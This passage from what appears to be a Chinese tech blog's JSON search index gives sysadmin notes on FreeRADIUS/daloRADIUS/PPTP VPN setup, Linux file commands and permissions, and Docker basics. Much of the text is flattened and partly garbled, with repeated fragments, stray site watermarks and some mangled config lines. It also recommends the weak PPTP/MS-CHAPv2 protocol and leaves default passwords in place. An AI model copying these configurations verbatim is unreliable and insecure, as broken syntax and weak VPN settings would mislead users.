这个暂且不详细说,每个厂商的防火墙配置方法都不同,思路是差不多的,客户端如果想完成认证,必须通过radius认证,这个时候,pc的数据包到达防火墙后,防火墙会把客户端丢过来的认证信息发送到radius服务器上面,由radius服务器去辨别是否通过认证  6.radius里关键的配置文件为radius.conf 与clients.conf               radius.conf:这个文件记录的是radius服务相关的信息,包括服务器监听的接口、允许认证的客户端IP等               clients.conf:定义客户端与服务器之间的共享密钥,认证信息等RADIUS包有一个指定的格式,两个关键的组件是:code: 表示包的类型.attribute: 携带RADIUS使用的必要数据.##### 数据包了解一个RADIUS数据包的格式将会大大帮助理解RADIUS协议. 让我们更细致的查看RADIUS数据包. 我们将会看一个简单的authentication请求.  一个客户端发送一个Access-Request包到服务器. 服务器返回一个Access-Accept包来表示成功.显示在这里的RADIUS数据包只是一个UDP数据包的payload. UDP和IP协议的讨论已经超出这本书的范围了.Radius 数据包: 第一个字节是 code  表示 radius 包的类型.第二个字节是 identifier   唯一标识符. 由客户端生成.大概就是客户端 发送的每个包 都有个固定的 唯一标识符. 以便服务器能通过唯一标识符 给你回复信息.第三,第四个字节 是 length表示数据包中的内容 一直到哪里是有用的 这个边界外的字节 被认为是填充的可忽略的.      每个数据包 都是由 code 来识别的  code 占一个字节  特定的code 的值 代表这个包的特性和需求这个消息提供数据来改变一个先有用户session的authorization. 例如, 我们现在可以动态改变每个session的带宽限制. 这让我们可以当互联网连接下降时可以增加每个session的带宽. | RADIUS  code (decimal) | Packet type | Sent by ||:---:|:---------------------------|:---------------:|| 1   | Access-Request              | NAS             || 2   | Access-Accept               | RADIUS server   || 3   | Access-Reject               | RADIUS server   || 4   | Accounting-Request          | NAS             || 5   | Accounting-Response          | RADIUS server   || 11  | Access-Challenge             | RADIUS server    || 12  | Status-Server(Experimental)  |                  || 13  | Status-Client(Experimental)  |                  || 255 | Reserved                     |                  ||     |                             |                  || 40  | Disconnect-Request           | RADIUS server    || 41  | Disconnect-ACK               | NAS              || 42  | Disconnect-NAK               | NAS              || 43  | CoA-Request                  | RADIUS server    || 44  | CoA-ACK                      | NAS              || 45  | CoA-NAK                      | NAS              |[跳到页首][24]## schema.sql 详解### schema.sql 脚本内容详解:> vi /etc/freeradius/sql/mysql/schema.sql- schema: 架构的意思  也就是给 radius 数据库 设置一系列表(和表的结构)- 使用方法: 下面命令会 自动加7个表格到 radius 数据库.  	> mysql -uroot -prootpass radius \ CREATE USER 'radius'@'localhost' IDENTIFIED BY '\*\*\*';	4   \> CREATE DATABASE IF NOT EXISTS `radius` ;	5   \> GRANT ALL PRIVILEGES ON `radius` . \* TO 'radius'@'localhost';11. 编辑/etc/raddb/sql.conf,配置login(用户名),password(密码),radius\_db(数据库名)等字段,并找到readclients一行,设为yes并去掉注释符号#。12. 编辑/etc/raddb/sites-enabled/default,根据下面的说明注释或取消注释相应的行:    authorize段,关掉files,打开sql,也可以把unix关掉    preacct段,关掉files    accounting段,打开sql,也可以把unix关掉    session段,打开sql    post-auth段,打开sql    pre-proxy段,关掉files IT网,http://www.it.net.cn到这一步,我们的FreeRADIUS就算配置好了,用户信息都将保存在MySQL数据库中。至于数据库中的表,我们在后面统一导入。配置daloRADIUS13. 首先下载并安装daloRADIUS,其中需要安装一个Pear-DB的包:	1   # wget http://sourceforge.net/projects/daloradius/files/daloradius/daloradius-0.9-8/daloradius-0.9-8.tar.gz	2   # pear install DB	3   # mkdir /usr/share/daloRadius	4   # tar zxvf daloradius-0.9-8.tar.gz	5   # mv daloradius-0.9-8/\* /usr/share/daloRadius/	6   # rm -r daloradius-0.9-814. 这时我们将daloRADIUS中附带的sql文件导入MySQL数据库,别忘了输入密码: Linux学习,http:// linux.it.net.cn	1   # mysql -uroot -p radius \	4   \17. 重启重启Apache和MySQL: Linux学习,http:// linux.it.net.cn	1   # service httpd restart	2   # service mysqld restart18. 打开浏览器,进入daloRADIUS的管理页面(本例中为http://your.domain/vpn),使用默认用户名administrator和密码radius登录。daloRADIUS似乎写的不怎么样,最新稳定版已经是三年之前的了,不过作者直到现在还在更新SVN,下次有机会可以用最新的SVN版本试试看。在Management中添加一个新用户,注意密码类型选择Cleartext-Password。 IT网,http://www.it.net.cn19. 在终端里再次启动radius -X,同时在另一个终端中用radtest username password localhost 0 MyVPN测试一下,看看现在是不是还能正常接通,如果没问题就OK,让我们把这套系统接驳到PPP上。配置pppd20. 编辑/etc/ppp/options.pptpd,里面已经有许多配置选项了,我们要保证有下面的几行,如果没有就添加上去,为了保障用户登录的安全我们限制只使用MS-CHAPv2: IT网,http://www.it.net.cn	1   # vim /etc/ppp/options.pptpd	2   refuse-pap	3   refuse-chap	4   refuse-mschap	5   require-mppe-128	6   require-mschap-v2	7    	8   # 在配置文件最后加上3行:	9       	10  plugin radius.so	11  plugin radattr.so	12  radius-config-file /usr/local/etc/radiusclient/radiusclient.conf启动服务21. 一切完成后我们不需要使用debug模式启动radiusd了:	1   # service radiusd start22. 当然,我们可以把radiusd和pptpd设为开机启动服务:	1   # chkconfig radiusd on	2   # chkconfig pptpd on至此,PPTP+FreeRADIUS+MySQL+daloRADIUS全部配置完毕,我们在本机上使用添加的用户名和密码拨入VPN,可以正常使用。在daloRADIUS中,还可以看到各个用户每次连接的时长,上传和下载的数据量统计等。daloRADIUS其他的使用方法,本文不再叙述。文章来源于互联网,具体链接一时忘记未有记下。。。如下几点则为具体配置中所出现的问题及解决方法1、执行第十三点时报如下错误:pear not found经谷歌,解决方法如下:1   # yum install php-pear2   # pear upgrade PEAR2、daloRadius登录界面,用户名为administrator,没记错的话密码是radius。修改密码到config-\>Opeartors修改。 Linux学习,http:// linux.it.net.cn3、MySQL错误:Database connection error Error Message: DB Error: extension not found解决方法:1   # yum install php-mysql -y4、无法连接MySQL:Database connection error Error Message: DB Error: connect failed1   # vim /usr/share/daloRadius/library/daloradius.conf.php2   # $configValues['CONFIG\_DB\_HOST']() = '127.0.0.1'; # 默认为 localhost5、无法拨入,客户端报691错误: IT网,http://www.it.net.cn1   # vim /usr/local/etc/radiusclient/dictionary2   #INCLUDE /etc/radiusclient/dictionary.microsoft3   INCLUDE /usr/local/etc/radiusclient/dictionary.merit4   INCLUDE /usr/local/etc/radiusclient/dictionary.microsoft5   INCLUDE /usr/local/etc/radiusclient/dictionary.ascend6   INCLUDE /usr/local/etc/radiusclient/dictionary.compat PS:添加流量控制:1、建立表格1   \> INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES ('user','Auth-Type',':=','Local');2   \> INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES ('user','Service-Type',':=','Framed-User');3   \> INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES ('user','Framed-IP-Address',':=','255.255.255.255');4   \> INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES ('user','Framed-IP-Netmask',':=','255.255.255.0');5   \> INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES ('user','Acct-Interim-Interval',':=','600');6   \> INSERT INTO radgroupreply (groupname,attribute,op,VALUE) VALUES ('user','Max-Monthly-Traffic',':=','5368709120');7   \> INSERT INTO radgroupcheck (groupname,attribute,op,VALUE) VALUES ('user','Simultaneous-Use',':=','1');以上前四行不用改动,acct-interim-interval是计算流量的间隔(600秒),意味着每隔10分钟记录当前流量。倒数第二行是每月最大流量,这里是5G(单位是字节)。最后一行是允许同时连接数目。 IT网,http://www.it.net.cn2、修改配置1   # vim /etc/raddb/sql/mysql/dialup.conf2   sql\_user\_name = "%%{Stripped-User-Name:-%%{User-Name:-none}}"3   # 取消前面的注释并注释下一行4   # 同时如果需要打开simultanoues-use(控制同时在线用户数)的话需要把simul\_query\_check取消注释。3、输入测试用户信息:1   \> INSERT INTO radcheck (username,attribute,op,VALUE) VALUES ('test','Cleartext-Password',':=','test');2   \> INSERT INTO radusergroup (username,groupname) VALUES ('test','user');(用户名与密码必须以明文/NTLM Crypt形式保存,因为MS-CHAPv2不支持MD5保存的密码。) IT网,http://www.it.net.cn4、由于上步中有非内置的attribute Max-Monthly-Traffic,所以需要在/usr/local/etc/raddb/dictionary里面定义:ATTRIBUTE Max-Monthly-Traffic 3003 integer IT网,http://www.it.net.cn5、初步测试: IT网,http://www.it.net.cn1   # /etc/init.d/freeradius stop2   # radiusd -X \>3   # radtest test test localhost 1649 testing123如果结果中有Access-Accept就代表成功了,否则退回去检查设置。6、测试成功的话添加在认证时检测流量的语句,打开/usr/local/etc/raddb/sites-enabled/default,找到authorize一节插入:1   # vim /usr/local/etc/raddb/sites-enabled/default2       update request {3       Group-Name := "%sql:SELECT groupname FROM radusergroup WHERE username='%{User-Name' ORDER BY priority}"4       }5       if ("%sql: SELECT SUM(acctinputoctets+acctoutputoctets) FROM radacct WHERE username='%{User-Name' AND date\_format(acctstarttime, '%Y-%m-%d') \>= date\_format(now(),'%Y-%m-01') AND date\_format(acctstoptime, '%Y-%m-%d') \= "%sql: SELECT value FROM radgroupreply WHERE groupname='%{Group-Name' AND attribute='Max-Monthly-Traffic';}") {6       reject7       }7、设置radiusclient:打开/usr/local/etc/radiusclient/radiusclient.conf,修改authserver localhost:1812acctserver localhost:1813修改server:最后加上localhost secret(就是FreeRadius的client.conf里面定义的secret)修改dictionary:最后加上 IT网,http://www.it.net.cnINCLUDE /usr/local/etc/radiusclient/dictionary.meritINCLUDE /usr/local/etc/radiusclient/dictionary.microsoft Linux学习,http:// linux.it.net.cn如果没有dicitionary.microsoft的话看这里:http://wiki.freeradius.org/PopTop8、启动服务1   # service radiusd start2   # chkconfig radiusd on3   # chkconfig pptpd on至此,完成了所有配置了。。。 Linux学习,http:// linux.it.net.cn(责任编辑:IT)客户端 安装客户端  1.1.7 [http://freeradius.org/freeradius-client/][34]接下来 是防火墙的联动 这个暂且不详细说,每个厂商的防火墙配置方法都不同,思路是差不多的,客户端如果想完成认证,必须通过radius认证,这个时候,pc的数据包到达防火墙后,防火墙会把客户端丢过来的认证信息发送到radius服务器上面,由radius服务器去辨别是否通过认证  6.radius里关键的配置文件为radius.conf 与clients.conf               radius.conf:这个文件记录的是radius服务相关的信息,包括服务器监听的接口、允许认证的客户端IP等               clients.conf:定义客户端与服务器之间的共享密钥,认证信息等[1]:	http://freeradius.org[2]:	http://freeradius.akagi201.org/chapter2/installing-FreeRADIUS.html[4]:	#%E5%B7%A5%E5%85%B7%E5%8C%85[6]:	#%E5%AE%A2%E6%88%B7%E7%AB%AF[7]:	#%E5%BC%80%E5%90%AF%E6%B5%8B%E8%AF%95[8]:	#sql.conf[9]:	#%E6%9C%8D%E5%8A%A1%E7%AB%AF%E5%AE%89%E8%A3%85[10]:	#%E9%85%8D%E7%BD%AEVPN%E6%9C%8D%E5%8A%A1%E5%99%A8[11]:	#%E9%85%8D%E7%BD%AEpptpd[12]:	#[13]:	#%E9%85%8D%E7%BD%AEVPN%E6%9C%8D%E5%8A%A1%E5%99%A8[14]:	http://freeradius.org[15]:	http://freeradius.akagi201.org/chapter2/installing-FreeRADIUS.html[23]:	#%E9%85%8D%E7%BD%AEVPN%E6%9C%8D%E5%8A%A1%E5%99%A8[24]:	#header[25]:	http://freeradius.org[26]:	https://ttboa.wordpress.com/2014/09/26/freeradius-on-debian-7/[34]:	http://freeradius.org/freeradius-client/"
} ,
  
{
  "title"    : "Font   mac",
  "category" : "",
  "tags"     : "",
  "url"      : "/2014/11/11/Font-Mac.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "@: 2014-11-11-Font - Mac---layout: posttitle: Font - Mactags: Fontcategories: 👓-Linux---等宽字体 ubuntu mono 两个英文=一个中文下载 解压 双击安装就能用了."
} ,
  
{
  "title"    : "Find - Kali/Debian",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Find-Kali-Debian.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## Find - Kali/Debian`find` + `搜索路径` + 语法(文件名关键字) 路径:  `/`   `~`  `.`(当前目录下)**-name**   `-name `  大小写敏感`-iname` 大小写不敏感 - `find ~ -name itr.txt`	> home目录下找文件- `find . -name itr.txt`	> 当前目录下寻找- `find . -name [A-Z]*”`	>  一个大写字母开头文件.- `find / -name "*"`	> 让系统高负荷运行!!!   	> 从根目录开始查找所有文件.- `find /etc -name "host"`	> /etc 中查找 host 开头文件.**-perm**按照权限模式查找:- `find . -perm 755`	找出当前目录下 权限是755的文件.	- `find . -perm 777`		找出当前目录下 权限是777的文件 		 如:home 目录下  `*.log`**mtime,atime,ctime**安装 文件 修改时间 找`-` -5 表示5天内`+` +5 表示5天前       which  查看可执行文件的位置。       whereis 查看文件的位置。        locate   配合数据库查看文件位置。       find   实际搜寻硬盘查询文件名称。which命令的作用是,在PATH变量指定的路径中,搜索某个系统命令的位置,并且返回第一个搜索结果。也就是说,使用which命令,就可以看到某个系统命令是否存在,以及执行的到底是哪一个位置的命令。 1.命令格式:which 可执行文件名称 2.命令功能:which指令会在PATH变量指定的路径中,搜索某个系统命令的位置,并且返回第一个搜索结果。3.命令参数:-n  指定文件名长度,指定的长度必须大于或等于所有文件中最长的文件名。-p  与-n参数相同,但此处的包括了文件的路径。-w  指定输出时栏位的宽度。-V  显示版本信息4.使用实例:实例1:查找文件、显示命令路径命令:which lsmod  用 which 去找出 which命令:  which which  找出 cd 这个命令命令: which cd  "
} ,
  
{
  "title"    : "File-Search",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/File-Search.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "find    高效+简单whereiswhichlocate"
} ,
  
{
  "title"    : "File in use",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/File-in-use.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "如: 一个 硬盘卸载不了`fuser -km /dev/sdb1`然后卸载lsof "
} ,
  
{
  "title"    : "File Type",
  "category" : "",
  "tags"     : "文件",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/File-Type.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## File Type Linux一切皆文件..mp3 .c .h LCD 触摸屏 鼠标 网络文件(socket) 等等 都是文件.**普通文件**(数据文件)  存数据/程序信息.- 文本文件	- 二进制文件**目录文件****设备文件**操作系统与设备 提供链接的一种文件.Linux: 把设备当做文件来出来.  操作文件就可以操作设备.每个设备对应一个设备文件.都在 /dev 目录中**链接文件** Win 下的快捷方式.- 软链接 / 符号链接	- 硬链接**管道文件**在进程间传递数据的一种特殊文件.**套接口文件**不同计算机之间 网络通信的一种特殊文件."
} ,
  
{
  "title"    : "File Permission",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/File-Permission.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## File Permission Linux*linux 文件/目录:* **权限** **所有者***权限:* (分别用r、w、x或421表示)   - *读取r:* 查看文件内容、显示目录列表。 	- *写入w:* 修改文件,新建、移动、删除文件或子目录。 	- *执行x:* 允许运行程序、切换目录。   	*所有者*	拥有该文件的用户账户(属主)	拥有该文件的组账户  (属组)	 如下:使用“ls -ld”命令可以查看“/etc/inittab”文件的属性,属性中包括了该文件的权限和归属等参数。在上述的输出的信息中,第14个字段的数据分别表示文件的属性信息。解释如下:第1字段:第1个字符表示文件的类型,d(目录)、b(块设备)、c(字符设备)“-”(普通文件)、“I”(链接文件)。第24个字符表示属主的访问权限。第57个字符表示属组访问权限。第810个字符表示其他用户的访问权限。 2字段:表示此文件的链接数量。(硬链接和软链接) 3字段:表示此文件的属主。 4字段:表示此文件的属组。在表示属主、属组内用户或其他用户对该文件的访问权限时,主要使用了三种不同的权限字符:r、w、x。分别表示读取、写入、执行,(还可以使用421表示)若为“-”时则表示减除该权限。字符形式和数字形式的关系如下图:如上所述表示一个权限组合时需要将数字进行累加。列如:“rwx”表示为“7”,“r-x”表示为“5”,而“rwxr-xr-x”由三个权限段组成,因此可以表示成“775”,“rw-r--r--”则表示为“644”。设置目录和文件的权限   chmod命令——设置目录或文件的权限方法一:   chmod [ugoa]() [+-=]() [rwx]() [文件或目录]()   “ugoa”:表示该权限设置所针对的用户类别。“u”代表属主,“g”代表属组,“o”代表其他用户,“a”代表所有用户(即ugo的总和)。   “+-=”:表示设置权限的操作动作。“+”加相应的权限,“-”减相应的权限,“=”代表设置相应的权限。   “rwx”:权限的组合形式,也可以拆分使用。如“rx”、“rw”。   如下:给上面的“inittab”文件设置宿主具有写入权限。方法二:   chmod [nnn]() [文件或目录]()   “nnn”:代表权限的数字形式。列如“644”。   如下:还可以使用数字形设置“inittab”文件,属主读写权限,属组读写权限,其他用户读权限。在使用chmod设置目录权限的时候还经常需要给同一目录下的所有文件设置相同的权限,这时需要使用参数“-R”,表示递归修改目录的权限。(注:通常方法二比较常用。)设置目录和文件的归属   chown命令——设置目录或文件的归属   chown [属主]() [:属组]() [文件或目录]()   如下:设置“inittab”文件的属组为benet组。   如果同时设置属主、属组时,用户名和组名之间用分号“:”进行分隔。如果只设置属组时,需要使用“:属组”的形式。   如果只需要设置目录或文件的属主,直接以用户名表示归属即可,递归修改目录归属同样可以使用“-R”选项"
} ,
  
{
  "title"    : "File - Linux",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/File-Linux.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## File - LinuxTouch  filemkdir  Folder## File Time**访问时间****修改时间****状态改动时间**### 查看时间信息:**stat xu.txt**	:~# stat xujian.txt	  File: ‘xujian.txt’	  Size: 0         	Blocks: 0          IO Block: 4096   regular empty file	Device: 801h/2049d	Inode: 1231468     Links: 1	Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)	Access: 2016-07-26 17:10:41.492000000 +0800	// 访问时间	Modify: 2016-07-26 17:10:41.492000000 +0800	// 修改时间	Change: 2016-07-26 17:10:41.492000000 +0800	// 状态改动时间	 Birth: -**`stat *`**> 当前文件夹所有文件的时间信息## Touch - 文件存在:   修改文件的存储时间/更改时间- 文件不存在: 新建文件`touch xu.txt`文件存在:  各项文件的 存取和修改时间.文件不存在: 新建 xu.txt file`touch -c xu.txt`文件不存在: 不新建文件!`touch ~/Desktop/xu/ xx.txt`在 xu 文件夹下 新建 xx.txt 文件. "
} ,
  
{
  "title"    : "Docker",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Docker.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## Docker:    [官方文档中心][1]`docker run --name mysql -d kali /bin/sh -c "while true; do echo hello world; sleep 1; done`运行中的容器 开 终端*容器重命名*`docker rename old-name new-name`**详细命令 `docker + 回车`**查找镜像:**  - 网页查找 [https://hub.docker.com][2] (需要注册)	- 命令查找 `docker search kali`**下载镜像**`docker pull kalilinux/kali-linux-docker`**删除镜像docker images → rmi ID.   > 能删除镜像的前提是 没有容器用这个镜像!!! 有人在用(哪怕那个容器现在是关机的也不行) 肯定不给删除的.**创建/删除 容器`docker run/rm id`**容器操作:`docker start/stop/restart kali`**创建交互容器:** `docker run -t -i kali /bin/bash`> 这里要输入完整的 镜像名字.**重命名镜像.`docker tag kalilinux/kali-linux-docker kali`> 把很长的镜像名字 改成短的.**启动容器:**`docker run kali /bin/bash`运行什么镜像 运行什么命令.-t 新容器内指定一个终端-i 允许 我们对容器内的 STDIN 进行交互./bin/bash   在容器内 启动 bash 这个 shell. 一旦退出 bash  你的容器就停止了!!!**看本地镜像:`Docker images`docker imagesREPOSITORY       TAG      IMAGE ID      CREATED      VIRTUAL SIZEtraining/webapp  latest   fc77f57ad303  3 weeks ago  280.5 MBubuntu           13.10    5e019ab7bf6d  4 weeks ago  180 MB镜像源.          镜像标签.    镜像 ID**容器:`docker ps``docker ps -a`  所有容器 哪怕已经关闭的容器**重命名镜像名**            ` docker tag 468e6235b128 kali:latest` tag + ID + Name:latest   → 默认官方名字 改成 kali **开关启 Docker**         ` docker run / stop kali -i -t` ( Contain name ) **运行中的镜像**           ` docker ps` 需要新开 docker 终端 执行. **保存&启动 容器**  其实是新加标签 类似 git . 要养成给容器打标签的习惯.Upgrade Docker`apt-get upgrade docker-engine``service docker status/start`## Docker 镜像镜像是基础, 如果本地不存在镜像,会自动从 Docker 镜像仓库去下载.镜像 相当于 迷你操作系统.info:`docker info`*Docker IP*`ip addr`  看容器ip`nmap Container IP` 扫描容器端口.telnet / ssh 容器 IP.( 前提是 docker 允许 ssh 连接. 默认是不允许的.)*Docker SSH*- 轻量级虚拟机! 是一个进程 不是一台机器.- 两个程序  服务端 和 客户端.  服务端管理所有容器.Docker 会为所有已经运行(包括已经停止)的容器随机分配一个唯一的名字和一个唯一的 ID,docker 命令可以识别 ID,也可以识别这个名字。	docker ps -a 来显示 每次运行 docker run 命令的时候,Docker 都会新建一个唯一的容器ID , → 不同的容器 数据是不通的... 已经停止的容器 里面的数据不会消失  用 docker ps -a 显示.现在我们使用 -i(交互式)和 -t(临时终端)参数运行一个容器,然后输入一些交互命令:容# Mac : Docker 不原生支持Mac → So go 官网* Download:  Docker Toolbox* .帮你配置环境. 使用:- Docker Quickstart Terminal	// 运行 docker 命令 要在这里输入. 因为 mac 不能支持原生 docker . 需要通过虚拟机来实现.	docker inspect 698 容器的详细信息.**备份镜像**    docker push xujian**删除容器**   docker rm 43de70a54ec1,或者简写成 docker rm 43de    来释放空间.删除镜像: docker rmi xujian// 如果有容器(即便已经停止) 存在.  那么就不能删除镜像. 不然暂停的容器就起不来.新建 Docker切换到 docker管理容器	docker run -it ubuntu bash	// 就能进到 ubuntu 的 bash 了 能输入各种命令.	docker run ubuntu	docker → 你要使用 docker	run  → 开启 运行	ubuntu → 镜像名称 找到镜像:去 docker 官网看. [https://hub.docker.com/explore/][3]下载 mysql	docker pull mysql下载 debian	docker pull debian	在 docker 中运行 hello world	docker run debian echo ''hello world''在容器中安装程序:保存容器:1. 查看容器的 ID :  docker ps 只需前几位id就好	docker commit 698 ubuntu每次运行 都是一个新的容器.删除容器:先停止 再删除docker stop ubuntudocker rm ubuntu—基本概念.镜像 image容器 container仓库 repository镜像 只读模板.自己可以很方便的创建 更新 镜像!!!!容器;(简易的 linux 环境.)docker 利用容器运行. 是镜像创建的 运行实例.可以 启动 开始 停止 删除.每个容器都是相互隔离的.仓库:存放镜像的地方.仓库 - Public 公开仓库	//Docker Hub 最大的公开仓库.	- Private 私有仓库用户创建了 自己的镜像后 可以哟吗 push 到私有或者公有仓库. 在另一台电脑用的时候 只要.pull 下来就好了.容器:- 创建新的容器    docker run- 重启已停止的容器. docker start- 很多时候 都是随时删除 和 创建新的容器.后台:background-d**容器是否会长久运行,是和docker run指定的命令有关,和 -d 参数无关。查看容器输出信息:`docker logs ID`导出容器:docker export id \> xxx.rar**标记镜像docker tag xxx xxxxxxxxdocker 数据管理- 数据卷.	- 数据卷容器.数据卷:可以给多个容器使用的,多个容器之间共享.创建数据卷输出数据卷挂载本地文件 作为数据卷.网络功能:-p 指定端口映射. 到 web 界面.容器互联.**容器名:sudo docker run -d -P --name web training/webapp python app.pydocker 启动时会自动创建一个 虚拟网桥.(软件交换机)交互式容器:命令终止了 容器就关闭了**守护式容器**可以长期运行的容器.适合 运行 应用程序 和 服务.!!!!  用 kali 镜像 创建一个叫 mysql 的容器.`docker run --name mysql -d kali /bin/sh -c "while true; do echo hello world; sleep 1; done`这个容器会在后台运行. 用了一个  while 循环.  会一直 打印 helloworld . 后台运行的容器 可以用  `docker logs mysql` 查看日志.查看容器内的进程  `docker top mysql`*容器的更多信息docker inspect mysql构建自己的镜像docker build -t \ \如Dockerfile在当前路径:docker build -t xx/gitlab .查看主机 ip 信息 docker inspect nginx_dist |grep 172.17"Gateway": "172.17.42.1","IPAddress": "172.17.42.6",[1]:	https://docs.docker.com[2]:	https://hub.docker.com[3]:	https://hub.docker.com/explore/"
} ,
  
{
  "title"    : "Docker vi",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Docker-vi.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "**系统预装:vim-tiny  vim-common 版本. > 会有莫名其妙的问题.比如键盘方向键不能用.**卸载预装的 vim:`apt-get remove vim-common`**安装vim-full 版本.`apt-get install vim`"
} ,
  
{
  "title"    : "Docker - Sim",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Docker-Sim.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "新建容器  run启动容器  start查看镜像 images删除容器/镜像 rm rmi创建新 image标签: 为镜像起一个容易理解的名字.`docker ps`    显示当前正在运行中的container`docker ps -a` 查看包括已经停止的所有容器`docker ps -l` 显示最新启动的一个容器(包括已停止的)容器运行的进程 top"
} ,
  
{
  "title"    : "Debian PPTP",
  "category" : "",
  "tags"     : "Debian",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Debian-PPTP.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## Debian PPTP# [经典教程链接][1]:# 安装 PPTP    apt-get install pptpd1. 升级本地软件包  apt-get update (类似检查更新 可忽略)# 配置 PPTP    vi /etc/pptpd.conf将文件底部 最后两行 改为: localip 192.168.217.1remoteip 192.168.217.234-238,192.168.217.245 第一行:这个是连接 VPN 成功后 vpn 服务器的 IP 地址,随便写,但不要和本地 路由器分配的IP 地址冲突就行。第二行:这个是连接 VPN 成功后 本地客户端  IP 地址,  相当于路由器的 DHCP 功能.# 添加 VPN 帐户    vi /etc/ppp/chap-secrets 用户名 pptpd 你的密码 \*(别忘记最后这个星号) 一行一个账户+密码例子: xujian pptp 0219 \* # 修改 DNS 服务器    vi /etc/ppp/options找到 两行ms-dns  (12 13 行) 去掉#号 更改成如下内容ms-dns 8.8.8.8ms-dns 8.8.4.4# 开启 IPv4 转发    vi /etc/sysctl.conf去掉 net.ipv4.ip\_forward=1 前的注释(28行),然后运行 sysctl -p 使配置生效# 重启 PPTP 服务/etc/init.d/pptpd restart# 安装 iptables  apt-get install iptables# 开启iptables转发iptables -t nat -A POSTROUTING -s 192.168.217.0/24 -o eth0 -j MASQUERADEiptables-save \> /etc/iptables.pptp # 手动在/etc/network/if-up.d/目录下创建iptables文件 写入内容 并给与运行权限cd /etc/network/if-up.d/         cd 到目录touch iptables                   新建文件vi iptables                      编辑文件添加如下内容:  然后保存退出\#!/bin/shiptables-restore \< /etc/iptables.pptp给脚本添加执行权限:chmod +x /etc/network/if-up.d/iptables连接不上:  mac  系统信息  日志  vpn 日志 [1]:	http://www.vpser.net/manage/linode-vps-pptp-vpn-howto.html"
} ,
  
{
  "title"    : "Debian PPTP",
  "category" : "",
  "tags"     : "Misc",
  "url"      : "/%F0%9F%91%93-linux/2014/11/11/Debian-PPTP-2.html",
  "date"     : "2014-11-11 00:00:00 +0800",
  "content"  : "## Debian PPTP# [经典教程链接][1]: # 安装 PPTP    apt-get install pptpd1. 升级本地软件包  apt-get update (类似检查更新 可忽略)	   # 配置 PPTP    vi /etc/pptpd.conf将文件底部 最后两行 改为: localip 192.168.217.1remoteip 192.168.217.234-238,192.168.217.245 第一行:这个是连接 VPN 成功后 vpn 服务器的 IP 地址,随便写,但不要和本地 路由器分配的IP 地址冲突就行。第二行:这个是连接 VPN 成功后 本地客户端  IP 地址,  相当于路由器的 DHCP 功能.# 添加 VPN 帐户    vi /etc/ppp/chap-secrets  用户名 pptpd 你的密码 \*(别忘记最后这个星号) 一行一个账户+密码例子: xujian pptp 0219 \* # 修改 DNS 服务器    vi /etc/ppp/options找到 两行ms-dns  (12 13 行) 去掉#号 更改成如下内容ms-dns 8.8.8.8ms-dns 8.8.4.4# 开启 IPv4 转发    vi /etc/sysctl.conf去掉 net.ipv4.ip\_forward=1 前的注释(28行),然后运行 sysctl -p 使配置生效# 重启 PPTP 服务/etc/init.d/pptpd restart# 安装 iptables  apt-get install iptables# 开启iptables转发iptables -t nat -A POSTROUTING -s 192.168.217.0/24 -o eth0 -j MASQUERADEiptables-save \> /etc/iptables.pptp # 手动在/etc/network/if-up.d/目录下创建iptables文件 写入内容 并给与运行权限cd /etc/network/if-up.d/         cd 到目录touch iptables                   新建文件vi iptables                      编辑文件添加如下内容:  然后保存退出\#!/bin/shiptables-restore \< /etc/iptables.pptp给脚本添加执行权限:chmod